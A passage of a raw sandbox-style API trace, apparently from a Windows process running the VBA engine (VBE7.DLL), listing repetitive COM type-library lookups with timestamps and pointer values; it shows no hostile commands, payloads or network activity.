returned 0x0 [0071.746] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.746] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.746] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.746] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.746] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.746] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.746] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.746] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.746] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.747] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.747] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.747] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.747] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.747] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.747] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.747] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.747] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.747] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.747] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.747] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.747] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.747] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.748] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.748] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.748] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.748] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.748] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.748] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.748] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.748] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.748] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.748] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.748] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.748] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.748] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.749] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.749] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.749] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.749] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.749] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.749] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.749] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.749] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.749] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.749] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.749] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.749] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.749] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.749] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d795fb0, cb=0x1010) returned 0x2885da99c80 [0071.749] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.750] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.750] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.750] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.750] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.750] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.750] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.750] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.750] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.750] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.750] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.750] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.750] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.750] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.750] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.750] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, 